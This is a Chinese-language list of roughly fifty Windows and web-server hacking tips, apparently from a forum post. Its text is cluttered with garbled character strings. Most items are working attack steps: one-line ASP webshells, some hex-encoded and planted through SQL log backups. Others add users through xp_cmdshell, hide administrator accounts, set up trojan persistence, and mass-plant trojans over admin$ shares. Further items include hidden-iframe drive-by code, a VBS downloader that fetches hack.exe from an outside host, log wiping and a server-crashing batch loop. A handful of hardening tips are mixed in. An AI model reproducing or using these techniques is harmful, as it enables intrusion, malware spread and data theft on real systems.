1、Xp系统修改权限防止病毒或木马等破坏系统,cmd下,
) k$ Z) ?' b! `2 h# Ecacls C:\windows\system32 /G hqw20:R0 P! h; K% w: r: g
思是给hqw20这个用户只能读取SYSTEM32目录,但不能进行修改或写入; J3 h! U C1 d/ K6 j" }6 z
恢复方法:C:\>cacls C:\windows\system32 /G hqw20:F
, e& H6 m, V$ m" W( r, X0 R6 j3 ]5 H, [2 I
2、用Microsoft自带的IExpress工具作的捆绑木马可以躲过很多杀毒软件,运行对话框中输入Iexpress。
/ h, M6 i1 }4 R: L/ F$ B5 m; |, U3 u/ T
3、内网使用灰鸽子,肉鸡上vidcs.exe -p端口,本地VIDCS里,VIDCS服务IP 填肉鸡的IP,VIDCS服务端口,就是给肉鸡开的端口,BINDIP添自己的内网IP,BIND端口 添8000,映射端口添8000。
+ T/ [8 O, u* u+ B( M+ X! H
! m# Z* k" J* f7 n7 `4、建立隐藏帐号,上次总结了用guest建立隐藏的管理员,这次再介绍一种,在cmd下建立一个ating$的用户,然后注册表下复制管理员的1F4里的F 值到ating$的F值,再把ating$改为$,这样在计算机管理的用户里看不到这个隐藏帐号
+ _5 q4 x1 o" n0 L
6 w# e$ z( x" ?3 l# C8 B; D5、利用INF文件来修改注册表
$ E) X# X; Q& c[Version]
m& z+ r2 ]* kSignature="$CHICAGO$"
+ {) [. ^$ K8 M[Defaultinstall]
- N& k* k, g3 b) W* m& TaddREG=Ating' S J( `3 p$ V9 C% Z
[Ating]
) I" M5 i+ r$ O# pHKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\system","disableregistrytools","0x00010001","1"
' h& k' T9 M& t' C9 _$ {以上代码保存为inf格式,注意没有换行符,在命令行里导入inf的命令如下:# M2 G7 I0 l( F: }5 I
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 inf文件的具体路径
) q+ M" r% U2 L ?$ K* Y4 p7 \8 s其中HKEY_CLASSES_ROOT 简写为 HKCR,HKEY_CURRENT_USER 简写为 HKCU) U2 K1 x% K& L* v$ M* y
HKEY_LOCAL_MACHINE 简写为 HKLM,HKEY_USERS 简写为 HKU& x# R0 h3 n- B. q! v
HKEY_CURRENT_CONFIG 简写为 HKCC# \1 u3 U$ {0 j; o0 C* K# k& L/ I
0x00000000 代表的是 字符串值,0x00010001 代表的是 DWORD值
* Z* M/ H7 Z: |, P"1"这里代表是写入或删除注册表键值中的具体数据0 W8 H! [& p0 i+ o O% e. N; I
, T6 G' E6 J5 l4 l4 b$ _5 |, b
6、关于制作穿xp2防火墙的radmin,大家一定要会,各大黑客网站都有动画,: X$ g8 v; }5 X5 S8 U3 L% ^7 b
多了一步就是在防火墙里添加个端口,然后导出其键值4 K: W* x D' k q
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]" w$ F3 R: s8 a$ W2 }& \
) v& [2 d7 f8 m* R+ ]3 R7、系统启动时Alerter服务启动前启动木马程序ating.exe,此方法很隐蔽9 D0 M% {/ j$ o- o. L' X
在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Image File Execution Options]下建立service.exe项,再在service.exe项建立一个Debugger的键(字符串值),键值填ating.exe的全路径。
* L, I: `8 |4 W) N C, _, M: Z: _7 Z2 M& b* F
8、将ftp.exe传到服务器用来提权,可以先把它变成ating.gif格式的再用,迷惑管理员。
7 w2 P' D: J- t6 Y, Z: ?5 g% O
; f; J; e( h$ M7 i3 y9、有时候在我们进入了网站后台,但是没有上传图片和备份等功能,得不到webshell,
6 p+ J, V1 i9 Z) V可是不能白来一场,可以看看发表公告或新闻支不支持html和script,支持的话加个frame马或者其他的什么。$ e0 b3 w0 g# |/ k' D+ O$ b! I$ I- u
# P; v+ Y9 d/ Z% u: E( p% ~: c5 L, F
10、用google帮我们找网站后台,搜索”filetype:asp site:www.hack6.com inurl:login”7 A: P( _0 }7 u o! G6 i3 D
4 a: N1 {+ @3 T8 S, C/ Q; X& ]
11、我们中了盗密码的木马后不要急于删除,一般这些木马都是把密码发到指定邮箱,我们可以用探嗅软件来找到邮箱的用户名和密码,比如安全焦点的xsniff, u* n3 W6 s5 `; d( p/ x, h
用法:xsniff –pass –hide –log pass.txt
2 U) E! W( l+ r$ O* C# Q5 S* z8 m1 `& I* J/ {
12、google搜索的艺术
/ l9 N$ M1 {7 N. l. ^搜索关键字:“未闭合的引号”或“ADODB.Field.error”或“Either BOF or EOF in True”4 I: T9 w, H* _/ a( m( i
或“字符串的语法错误”可以找到很多sql注入漏洞。# O1 M# e9 ?6 H
, U- H& z' }' Y3 e* f1 j
13、还可以搜一些木马的关键字,比如搜索“管理登陆 海洋顶端 inurl:asp”,搜到了说明此网站服务器的其中网站肯定有漏洞。- ]% [$ w! f1 n$ c6 q
6 d3 L# p7 I( Z/ d$ W3 ?1 w
14、cmd中输入 nc –vv –l –p 1987
% t2 M% C/ z3 \. [- J做个bat文件内容为sqlhello 起始ip 1433 终止ip 1987 扫鸡吃4 h! A0 r% V, @6 \" ^6 m+ \. G
2 E2 E2 }0 k3 T& M3 K1 D9 _15、制作T++木马,先写个ating.hta文件,内容为# L4 ]1 w1 D2 X5 M' l$ _2 A
<script language="VBScript">9 `. M" d2 b# m! S
set wshshell=createobject ("wscript.shell" )/ y7 Z2 a4 z% M* y: G
a=wshshell.run("你马的名称",1)
7 y, o/ c0 e3 _7 V) _% Swindow.close
! c, `# w$ i6 `; j+ J |</script>
+ y" S$ T# {8 S8 ]. c( _* N再用mshta生成T++木马,命令为mshta ating.hta ating.t++,用网页木马生成器生成网页木马。% G4 U X' r; [- R3 b
+ f! n5 X A7 `* ^ ]16、搜索栏里输入2 U0 K) @" d+ k g% ]
关键字%'and 1=1 and '%'='3 b/ t* _, Z) u: R T' ]- v
关键字%'and 1=2 and '%'='
& K. r% o) M7 v9 F比较不同处 可以作为注入的特征字符' w6 K8 o/ e) X% U- g; I6 [6 W
3 ], f- r8 y K- ?17、挂马代码<html>" m$ b7 }. K/ y* q2 Y9 g( @6 j
<iframe src="马的地址" width="0" height="0" frameborder="0"></iframe>
# A& n6 U; H# B* H</html>
2 O0 u' u4 B$ c0 l D* _. s. ~2 k$ `% l9 p2 P1 P+ {
18、开启regedt32的SAM的管理员权限检查HKEY_LOCAL_MACHINE\SAM\SAM\和HKEY_LOCAL_MACHINE\SAM\SAM\下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡, 这方法是简单克隆,- {/ [9 G4 |/ F
net localgroup administrators还是可以看出Guest是管理员来。
9 t( ~: N* ]# X* P+ V9 G b& ?9 m$ C; c
19、软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等$ @) C6 ]( J, }3 e- T# `8 B, U: }0 a
用法: 安装: instsrv.exe 服务名称 路径
4 n8 r+ k/ P. O3 f4 T, N) W) g! ^0 F卸载: instsrv.exe 服务名称 REMOVE1 k; Z5 S) w! ~! Y) F! l
& ?' e$ D5 {. V+ |5 u1 y8 ~; ^
( U4 X* o4 c# w* N3 y21、SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉2 v8 |8 s+ R# x) L8 ^
不能注入时要第一时间想到%5c暴库。
' N3 h7 y6 }) R/ ?& a; T- y" L! F% u' F8 j8 w
22、很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~5 i U% W, J& p! T
, K( R- D1 Q! J4 [ I23、缺少xp_cmdshell时1 [9 M. s' ^% B; q5 D
尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'5 t3 v0 `8 P' ]) B
假如恢复不成功,可以尝试直接加用户(针对开3389的)
" s4 A* X! f4 a2 k" fdeclare @o int
$ ?) h, t, \. M- O y7 iexec sp_oacreate 'wscript.shell',@o out( ?( T9 D( w; _) c2 t$ P6 r
exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员! D* w& J' D$ o( l$ q* ~' w
* ?) r) _, b+ N) B% Z8 S
24.批量种植木马.bat
$ W$ S: Y% s6 C5 H& `for /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$ 复制木马到扫描的计算机当中! t2 Z* r- e/ P' w" X- L+ ]
for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间/ N7 @- A% p; d4 E8 ?' N+ p' }
扫描地址.txt里每个主机名一行 用\\开头
6 C1 M3 ~ x# R' u9 k. ^* n* ^" C* L4 H/ N: a
25、在程序上传shell过程中,程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request("l")%>,我们来把他的标签换一下: <script language=VBScript runat=server>execute request("l")</Script> 保存为.asp,程序照样执行。- I- ^* _$ H7 l( N [( g
6 B+ P1 x8 x2 X/ M" C. F; n1 B
26、IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.9 O5 {0 i6 o+ y P W4 N6 M
将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.
+ J7 w0 P, c l# ~5 T' S.cer 等后缀的文件夹下都可以运行任何后缀的asp木马
& b+ ?( f5 ~( X7 v3 F/ |4 i5 r( b% b6 D
27、telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP$ a0 \8 T) p0 e" Y n* z
然后用#clear logg和#clear line vty *删除日志; e+ V/ g7 [: t
7 s4 i) { y. e( u
28、电脑坏了省去重新安装系统的方法- J1 L; Z( e! Y9 V w
纯dos下执行,
( ^9 Q( R" W! Y- Q5 P3 _7 ~' t, nxp:copy C:\WINDOWS\repair\*.* 到 c:\windows\system32\config
* ]2 W/ Z+ o9 f( k3 W) q# h) }& D2k: copy C:\winnt\repair\*.* 到 c:\winnt\system32\config# h2 e8 q7 \: F3 e/ X4 J
; }5 t, X& K6 x# o5 B6 P. f29、解决TCP/IP筛选 在注册表里有三处,分别是:
, C; k; j9 R/ c; x5 h, wHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
) J- P* w0 l7 e! s1 }1 cHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
9 U0 C$ E" t5 gHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip* \% z p! E& H& g! q- B
分别用0 b0 h/ b* \' H# T$ ?
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip3 R. S9 l& ^! `! _4 z0 p! W- B
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
# C; g2 p7 V% R" v& F" x2 o/ Q, lregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
" r7 O* Z! ]' O- P/ }( ?2 _命令来导出注册表项2 Z ]; `1 W& d8 W; i8 O3 [$ B
然后把三个文件里的EnableSecurityFilters"=dword:00000001,1 { x1 W- [% z: j/ b) q2 O
改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用1 Y# ^ N$ y# z: u) X+ E" W, K
regedit -s D:\a.reg regedit -s D:\b.reg regedit -s D:\c.reg 导入注册表即可。
7 M9 Y. ]# B& Y' Z
[0 w$ u7 }9 v30、使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U! r" p R: _( Z% {
SER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"下的1004项的值由原来十进制的0改为十六进制的3; t: e4 A9 P) W1 l% K
/ a% J5 E1 n; E, |9 _* s2 Q l
31、全手工打造开3389工具. ?2 |2 e. B9 m4 C# B3 K
打开记事本,编辑内容如下:/ k! G" T+ F, G' g; D, J
echo [Components] > c:\sql$ X! f$ _9 r% |7 X" V9 c5 R
echo TSEnable = on >> c:\sql [+ _, J# f& H% z+ t" U6 z! p
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
1 b& i, Z% c) P& y7 j9 ]编辑好后存为BAT文件,上传至肉鸡,执行6 f: @0 |7 N2 C9 w" v4 X2 s) M) D
+ n. {' d& [& z Z3 i4 _; s0 m
32、挂马js代码document.write('<iframe height=0 width=0 src="木马地址.htm"></iframe>');保存到js页面里 可让所有页面挂马
* U" C. c9 Y# o5 r r0 B- E/ N% e' c7 ]
33、让服务器重启3 I1 a1 U4 j/ w$ f
写个bat死循环:% y# [0 {9 c8 S: r4 A
@echo off
8 y8 X" M7 ~. t: b:loop19 ?9 E5 c: A: O
cls1 Z$ S# `4 N* r% `
start cmd.exe
& Q0 u2 i+ |* Ygoto loop1
# n& C$ _# c$ k8 o8 I6 n2 O保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启
1 D% X! P* B3 S2 \% f4 e }9 r% G; e9 p% o3 L1 {
34、如果你登录肉鸡的3389时发现有cmd一闪而过,那你可要小心了,管理员写了个bat在监视你, h: {0 z: N$ r# S" t& v
@echo off% X* t' V5 f+ H' B% z; k
date /t >c:/3389.txt
: F0 v$ X1 {6 \) [$ itime /t >>c:/3389.txt+ ]! x; j% k9 s3 D9 [8 d; u9 ?- {
attrib +s +h c:/3389.bat
5 c* \5 g& f# c( w O$ pattrib +s +h c:/3389.txt
& y/ r+ [$ T# {4 Gnetstat -an |find "ESTABLISHED" |find ":3389" >>c:/3389.txt
0 z$ {7 u. x( m; R5 }# w并保存为3389.bat
: ~9 l1 O# m( Y! K* x打开注册表找到:Userinit这个键值 在末尾加入3389.bat所在的位置,比如我放到C盘,就写:,c:/3389.bat,注意一定要加个逗号
+ F8 t5 Q N3 [, q2 c# h
$ c1 m9 n( o5 N! A b5 j1 h- p: c35、有时候提不了权限的话,试试这个命令,在命令行里输入:
9 t$ ]9 C5 v: r, o, t; }+ ]9 M1 t tstart http://www.hack520.org/muma.htm然后点执行。(muma.htm是你上传好的漏洞网页)7 o2 f6 p6 m3 S1 h) j( P
输入:netstat -an | find "28876" 看看是否成功绑定,如果有就telnet上去,就有了system权限,当然也可以nc连接,本地执行命令。" H# n0 P4 ]5 Y1 F4 s
d" S _6 r. a& V) C7 S$ l+ U
36、在cmd下用ftp上传马方法,我们可以用echo 写一个批处理文件
# A# D2 h7 }& B& vecho open 你的FTP空间地址 >c:\1.bat //输入你的FTP地址
9 S0 ]7 t: d3 ?2 necho 你的FTP账号 >>c:\1.bat //输入账号# _2 m7 Z" I- P0 D: [
echo 你的FTP密码 >>c:\1.bat //输入密码
' k, ^; ]. H) _7 t3 ?7 }& [- r1 `4 iecho bin >>c:\1.bat //登入
{+ y/ u# X! uecho get 你的木马名 c:\ ating.exe >>c:\1.bat //下载某文件到某地方并改名为什么" w5 q2 R7 y4 P5 J3 Q# K2 n
echo bye >>c:\1.bat //退出# m. z* B- A, D: O `: i
然后执行ftp -s:c:\1.bat即可
# a9 t+ }0 t$ ^: o$ d
, L$ @) u7 r" a% V/ p) Q. Q9 ?1 u37、修改注册表开3389两法 [% y0 s u( B. ~ g2 _
(1)win2000下开终端 首先用ECHO写一个3389.reg文件,然后导入到注册表
4 J7 |1 y) X$ R8 T0 P& iecho Windows Registry Editor Version 5.00 >>3389.reg
w, ~& r6 a& ~0 Z* q- T( Jecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg) g. Y t) Q0 v$ Y8 l
echo "Enabled"="0" >>3389.reg
- s' F3 R0 G6 F" z% R9 recho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
; B- U9 s3 H8 @- m4 [) W3 pNT\CurrentVersion\Winlogon] >>3389.reg! j/ l4 v' @0 y) n
echo "ShutdownWithoutLogon"="0" >>3389.reg
9 t& b/ v2 h$ d$ Becho [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]( G5 m; E6 `( Q3 M" o- f2 R
>>3389.reg+ \& W6 Z4 S1 o
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
. j @6 }" A) z m; B$ a9 Iecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]& [* A. [" X0 l4 ~7 t2 {
>>3389.reg0 r$ Y9 B. ]2 k+ ` r5 n, Q4 @" @
echo "TSEnabled"=dword:00000001 >>3389.reg" C; a" V/ M% N
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg. x& X# L: E! v
echo "Start"=dword:00000002 >>3389.reg+ F: o/ N( L: t# L! Q
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]# V3 W& X$ n. ?3 ^
>>3389.reg9 _$ B$ A% T% ]2 b: k9 }
echo "Start"=dword:00000002 >>3389.reg2 {0 K& J. _: t9 p2 z
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg2 B! f( V; x, L: r
echo "Hotkey"="1" >>3389.reg- ^; f8 g, D. f# M
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal+ b+ ?( n) }% Y. I$ N$ i' N
Server\Wds\rdpwd\Tds\tcp] >>3389.reg# Y, M6 e) H1 H$ p! s6 l A
echo "PortNumber"=dword:00000D3D >>3389.reg
7 A+ W9 s& z9 Y% Gecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal+ @8 x" O! p1 X6 s7 O
Server\WinStations\RDP-Tcp] >>3389.reg5 r2 I+ K: |% E8 K$ p' C
echo "PortNumber"=dword:00000D3D >>3389.reg; u% g5 @& [, l" e% A
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。* A. ?' [. X3 D7 _8 [5 j$ b4 H
(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)( t+ `9 k4 ]. |2 f$ Y
因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效
. D' {; ~- y2 w N5 b(2)winxp和win2003终端开启
4 F" }8 D& u7 f4 q! N0 e% U6 g用以下ECHO代码写一个REG文件:. M2 L6 E' x6 y, y
echo Windows Registry Editor Version 5.00>>3389.reg
8 z; I1 I$ }* C0 X- r. Secho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
9 K5 ~& ?) j6 r. g" YServer]>>3389.reg
) c1 d$ o( t, N, Aecho "fDenyTSConnections"=dword:00000000>>3389.reg/ v+ n( a8 p" t2 q5 {
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
( C6 |2 x4 x& R X$ i. UServer\Wds\rdpwd\Tds\tcp]>>3389.reg; q) K" b% s q* O+ W* d
echo "PortNumber"=dword:00000d3d>>3389.reg4 U) C9 s" Y" G: i V3 O
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal' v g" {8 b3 b( k, F* J# a7 t/ ]
Server\WinStations\RDP-Tcp]>>3389.reg
, J. U5 R `5 e1 S$ ?echo "PortNumber"=dword:00000d3d>>3389.reg: j. l/ s4 N$ ^: ~5 @/ n+ K; \
然后regedit /s 3389.reg del 3389.reg
& n1 s, M3 o% |; U5 U+ F' X" n$ ~XP下不论开终端还是改终端端口都不需重启7 k, r0 F- M) o# J- D
1 {( ^; F$ [( G& ^6 u2 Y38、找到SA密码为空的肉鸡一定要第一时间改SA密码,防止别人和我们抢肉吃- D+ w5 ^; @. \1 o# T
用查询分析器运行 EXEC sp_password NULL, '你要改的密码', 'sa'
# @" M( k5 B( z3 q+ A
3 T2 o2 M) }8 g4 U6 A39、加强数据库安全 先要声明把mdb改成asp是不能防止下载的!/ R: s1 h8 o2 T0 \( k8 ~
(1)数据库文件名应复杂并要有特殊字符, ~7 X; @3 z& w# {0 g k
(2)不要把数据库名称写在conn.asp里,要用ODBC数据源0 a2 t3 D( J: j( d0 {
将conn.asp文档中的
0 }+ ^; Z; X4 {5 Y( m& ^DBPath = Server.MapPath("数据库.mdb")
5 k/ G8 S/ ~# G2 W! o# ^conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath+ H6 A) b- G. q+ |+ l& ~
/ W7 }8 D; a \, W, N$ \$ |/ v4 a
修改为:conn.open "ODBC数据源名称," 然后指定数据库文件的位置5 d9 c9 F3 [, M. z1 M
(3)不放在WEB目录里! ]2 ^' U" Z* s8 Q) Q8 q1 E, d1 a; X
4 H0 h; T2 T5 Z. S40、登陆终端后有两个东东很危险,query.exe和tsadmin.exe要Kill掉 Y+ G$ f- Q7 x. A( \
可以写两个bat文件
/ P- n1 j. S1 F/ v@echo off
! u, x2 @; t. n0 m@copy c:\winnt\system32\query.exe c:\winnt\system32\com\1\que.exe
9 @ M0 m# g$ [; s1 ]@del c:\winnt\system32\query.exe1 v' Q6 M) a* [7 ?) j! p
@del %SYSTEMROOT%\system32\dllcache\query.exe# U' A+ S0 F* B" B# q' Z
@copy c:\winnt\system32\com\1\query.exe c:\winnt\system32\query.exe //复制一个假的
% d6 L$ I+ z5 ?6 m, u3 T/ t" z* Q" V3 `5 X
@echo off
* i8 @. `6 U( k3 W/ U5 a@copy c:\winnt\system32\tsadmin.exe c:\winnt\system32\com\1\tsadmin.exe0 J! {3 L0 J: m6 P: |" r0 r* W
@del c:\winnt\system32\tsadmin.exe+ \0 k' c. S( }. z1 ~
@del %SYSTEMROOT%\system32\dllcache\tsadmin.ex
0 V3 }" a# V% M: o; d: d6 J0 s- p
- |/ X: @" E k" y41、映射对方盘符
7 b) u9 y" P, Z" g% Y [5 }telnet到他的机器上,0 c. b: _9 [: `" o* A
net share 查看有没有默认共享 如果没有,那么就接着运行; N& t' ~2 n0 n: B7 F
net share c$=c:* Z9 C$ T6 K$ j; E9 N
net share现在有c$9 W$ O" e/ D# o4 w& f
在自己的机器上运行
2 W( x, \4 n$ n; hnet use k: \\*.*.*.*\c$ 把目标共享映射到本地硬盘,盘符为K+ E' G% ^+ ^. d; B! C. P# @
1 Z- b0 f4 b* N# Q# p/ F5 a3 q
42、一些很有用的老知识7 S& X! n2 j. C5 j7 w' @0 ]) x
type c:\boot.ini ( 查看系统版本 )4 a' G5 X% v9 g( K: [6 V, H. w0 V& g
net start (查看已经启动的服务)
. u7 q2 f% G8 Q* G- oquery user ( 查看当前终端连接 )
9 t! ]; I8 b# M% w+ i/ dnet user ( 查看当前用户 )
4 l! M+ X$ c0 X2 ~net user 用户 密码/add ( 建立账号 )
- | y( Z, Z" C/ `net localgroup administrators 用户 /add (提升某用户为管理员)$ D$ z, D2 z! g3 J0 `0 d
ipconfig -all ( 查看IP什么的 )/ V( Z) Z+ V5 E
netstat -an ( 查看当前网络状态 )
! |7 Z, R1 Z. V/ H* gfindpass 计算机名 管理员名 winlogon的pid (拿到管理员密码)
3 g9 z: u) @9 Z1 W$ N$ D克隆时Administrator对应1F4/ X8 W+ }+ t0 j; p: j* X* {
guest对应1F5" D) x1 }7 X4 g7 d) b
tsinternetuser对应3E8
: P4 f2 ^# b c. c u
9 \) R3 F/ }3 h/ h, T" Y43、如果对方没开3389,但是装了Remote Administrator Service
4 A2 d+ u( S% {- c用这个命令F:\ftp.exe "regedit -s F:\longyi.biz\RAdmin.reg" 连接
. R2 {( b7 y1 I0 K; P# e解释:用serv-u漏洞导入自己配制好的radmin的注册表信息( L) U% g& g) J) I3 a# Z
先备份对方的F:\ftp.exe "regedit -e F:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\RAdmin". ^( |4 L+ W4 N- N; J9 F& O
- `3 W* H" m' C7 a, a8 P1 [
44、用lcx做内网端口映射,先在肉鸡上监听 lcx -listen 52 8089 (端口自定). h+ T! G E" J3 J1 K. i9 N3 V
本地上运行映射,lcx -slave 鸡的ip 52 我内网的ip 80 (我的WEB是80端口) S l; H$ g8 |9 I: K
C ?6 ^3 g; W# z4 S45、在服务器写入vbs脚本下载指定文件(比如用nbsi利用注入漏洞写入)
7 u; a9 |' m2 s9 Techo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open; P$ R6 R& q5 m& B& ]
^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s =, m& r4 @( P3 e1 J8 F
CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type =
( p& E! }3 D; X1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >ating.vbs! @; M" l0 a, P, H- l# N
(这是完整的一句话,其中没有换行符)
1 q9 }8 z$ Q6 v% v然后下载:) p4 l- }4 R0 l' x) a' p, c
cscript down.vbs http://www.hack520.org/hack.exe hack.exe
9 e, }3 U. \/ a. R' v1 F1 p) z4 q! G
46、一句话木马成功依赖于两个条件:; @7 x0 l) T3 M& o
1、服务端没有禁止adodb.Stream或FSO组件
6 D. q# V% l r6 z/ E+ }9 w. X: P2、权限问题:如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。
$ o: I. h z9 @- y# ]0 ]9 z9 J5 z6 W5 S2 C
47、利用DB_OWNER权限进行手工备份一句话木马的代码:" l0 R2 `- a% d/ H( G8 P
;alter database utsz set RECOVERY FULL--
. N8 G7 \; D9 a- z;create table cmd (a image)--3 Q" @; B/ r( `. J
;backup log utsz to disk = 'D:\cmd' with init--
; m# B( ]( \5 y$ t7 d" ?0 {;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- ?6 @ m3 k6 I0 \! z6 t& y* W; ?8 u8 u
;backup log utsz to disk = 'D:\utsz_web\utsz\hacker.asp'--2 p7 W; S; Q# w6 a+ O# d
注:0x3C25657865637574652872657175657374282261222929253EDA为一句话木马的16进制形式。6 b( B9 ?& ~* g+ \0 j) s/ T$ z
; e5 R" J' ]& I6 W" H9 r% P# `48、tlntadmn是telnet服务的设置命令,可以对telnet服务的端口、认证方式等进行设置:
1 f+ v, S& T2 q! P6 ~
- V& i6 p& ]2 n. E3 t! ]7 W用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options4 ~/ }+ x4 }4 G) K% p
所有会话用 'all'。
8 g- e, W3 g( O-s sessionid 列出会话的信息。
6 T1 Q; _0 y" I' l-k sessionid 终止会话。
1 B9 T1 Y6 i: \7 I, f8 X3 H' g-m sessionid 发送消息到会话。4 j7 V# Z7 _+ [( [1 b7 F; k$ k
8 q# B1 o- A2 w; n( Yconfig 配置 telnet 服务器参数。
" [" x" r4 ]1 b& j; y
4 E& V6 F9 Y7 W/ e4 M: Q2 tcommon_options 为:3 C4 _5 j: b1 ?1 w1 Q {+ O* |4 L2 P
-u user 指定要使用其凭据的用户
# e* B# S: }. C0 F- z' G-p password 用户密码$ l/ A; D" v2 H d, A: J! A- {# D. Q5 r
9 Y- r/ I) S6 T2 S2 F/ K2 Z' j
config_options 为:. \5 m( X7 C9 r8 G2 w! F6 o
dom = domain 设定用户的默认域
( g4 C! _" m' r9 h4 q. z! yctrlakeymap = yes|no 设定 ALT 键的映射
4 W0 S/ k# K" d9 m+ v. Htimeout = hh:mm:ss 设定空闲会话超时值
. |; u8 b6 R! Qtimeoutactive = yes|no 启用空闲会话。- W1 f8 h3 R! W* i
maxfail = attempts 设定断开前失败的登录企图数。
" g9 V; I5 x( P. \0 V: ^9 W9 smaxconn = connections 设定最大连接数。
* S" k7 Q- J) v" f6 ]port = number 设定 telnet 端口。
( y: N6 b& m& ]" Rsec = [+/-]NTLM [+/-]passwd* Q: v2 @2 |9 D3 \( |
设定身份验证机构
* w7 T! a. d2 d# K- Nfname = file 指定审计文件名。
) i- b# ]) V5 V' d9 C! m$ yfsize = size 指定审计文件的最大尺寸(MB)。
! ]1 t0 i* v0 l# r1 q% H: Ymode = console|stream 指定操作模式。
" ~; u9 f) c3 K( H1 Z x' Fauditlocation = eventlog|file|both
* \) {9 j5 l. s }9 U指定记录地点
$ P* L5 f7 D2 Yaudit = [+/-]user [+/-]fail [+/-]admin
6 g2 F: ?' v( M: G# s: b" A1 v7 f- n1 b1 \
49、例如:在IE上访问:
; @( M) _' y) y( F3 j7 cwww.hack520.org/hack.txt就会跳转到http://www.hack520.org/+ V) b+ H6 ~4 Q! L, E
hack.txt里面的代码是:1 B/ y$ ]; T U
<body> <META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.hack520.org/">
& F4 G$ `5 q( r) M6 R把这个hack.txt发到你空间就可以了!
0 k+ {& K- p% F7 U这个可以利用来做网马哦!3 T* u) P( A- ]: l
& I" w( j7 B, X) q50、autorun的病毒可以通过手动限制!( j8 ]2 F( ^# X4 ^* n! _2 K
1,养成好习惯,插入U盘或移动硬盘,都要按住shift让其禁止自动运行!* k( s4 \! Z. w* N+ i6 ^, a
2,打开盘符用右键打开!切忌双击盘符~
0 u6 O* x! v, d% e3,可以利用rar软件查看根目录下autorun病毒并删除之!他可以处理一些连右键都无法打开的分区!, g- b! B* [; q6 t
' y3 X& E3 |: L' u5 ^; ^, K, ]51、log备份时的一句话木马:
8 z9 `* S+ w# f$ G, ]: G4 Va).<%%25Execute(request("go"))%%25>
1 }: L! ~- V% h E5 _b).<%Execute(request("go"))%>9 Z0 y) Z3 I3 C' Q* J. X8 z# Q1 f
c).%><%execute request("go")%><%
/ O k+ L9 h, a! a, F9 F4 ^* G) @d).<script language=VBScript runat=server>execute request("sb")</Script>
' ~7 ~- `2 V0 @! Q3 F I; p* ~2 E0 Re).<%25Execute(request("l"))%25>
; E) m4 d9 s7 y5 wf).<%if request("cmd")<>"" then execute request("pass")%>
' N6 j! i/ |/ t) Q8 |0 D- `
# n# T2 t$ b8 O3 ^52、at "12:17" /interactive cmd8 e" c- c& A7 q1 B
